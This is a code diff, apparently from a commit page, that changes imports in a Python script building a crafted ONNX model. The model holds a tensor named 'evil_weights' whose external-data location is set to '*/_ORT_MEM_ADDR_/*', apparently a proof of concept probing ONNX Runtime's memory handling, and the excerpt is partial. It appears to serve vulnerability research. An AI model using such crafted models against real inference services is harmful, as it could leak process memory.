11import onnx
2- from onnx import TensorProto , helper
32
43
54def create_exp_model ():
@@ -8,18 +7,18 @@ def create_exp_model():
87 tensors = []
98 outputs = []
109
11- input_ = helper .make_tensor_value_info ("input" , TensorProto .INT64 , [None , None ])
10+ input_ = onnx . helper .make_tensor_value_info ("input" , onnx . TensorProto .INT64 , [None , None ])
1211 inputs .append (input_ )
1312
14- evil_tensor = helper .make_tensor (
13+ evil_tensor = onnx . helper .make_tensor (
1514 name = "evil_weights" ,
16- data_type = TensorProto .INT64 ,
15+ data_type = onnx . TensorProto .INT64 ,
1716 # dims=[100, 100],
1817 dims = [10 ],
1918 vals = [],
2019 )
2120 tensors .append (evil_tensor )
22- evil_tensor .data_location = TensorProto .EXTERNAL
21+ evil_tensor .data_location = onnx . TensorProto .EXTERNAL
2322 entry1 = evil_tensor .external_data .add ()
2423 entry1 .key = "location"
2524 entry1 .value = "*/_ORT_MEM_ADDR_/*"
@@ -31,15 +30,15 @@ def create_exp_model():
3130 entry3 .key = "length"
3231 entry3 .value = "80"
3332
34- tensors .append (helper .make_tensor (name = "0x1" , data_type = TensorProto .INT64 , dims = [1 ], vals = [0x1 ]))
35- nodes .append (helper .make_node (op_type = "Add" , inputs = ["evil_weights" , "0x1" ], outputs = ["output" ]))
33+ tensors .append (onnx . helper .make_tensor (name = "0x1" , data_type = onnx . TensorProto .INT64 , dims = [1 ], vals = [0x1 ]))
34+ nodes .append (onnx . helper .make_node (op_type = "Add" , inputs = ["evil_weights" , "0x1" ], outputs = ["output" ]))
3635
37- outputs .append (helper .make_tensor_value_info ("output" , TensorProto .INT64 , []))
36+ outputs .append (onnx . helper .make_tensor_value_info ("output" , onnx . TensorProto .INT64 , []))
3837
39- graph = helper .make_graph (nodes , "test" , inputs , outputs , tensors )
40- model = helper .make_model (
38+ graph = onnx . helper .make_graph (nodes , "test" , inputs , outputs , tensors )
39+ model = onnx . helper .make_model (
4140 graph ,
42- opset_imports = [helper .make_opsetid ("" , 18 ), helper .make_opsetid ("ai.onnx.ml" , 3 )],
41+ opset_imports = [onnx . helper .make_opsetid ("" , 18 ), onnx . helper .make_opsetid ("ai.onnx.ml" , 3 )],
4342 ir_version = 11 ,
4443 )
4544
0 commit comments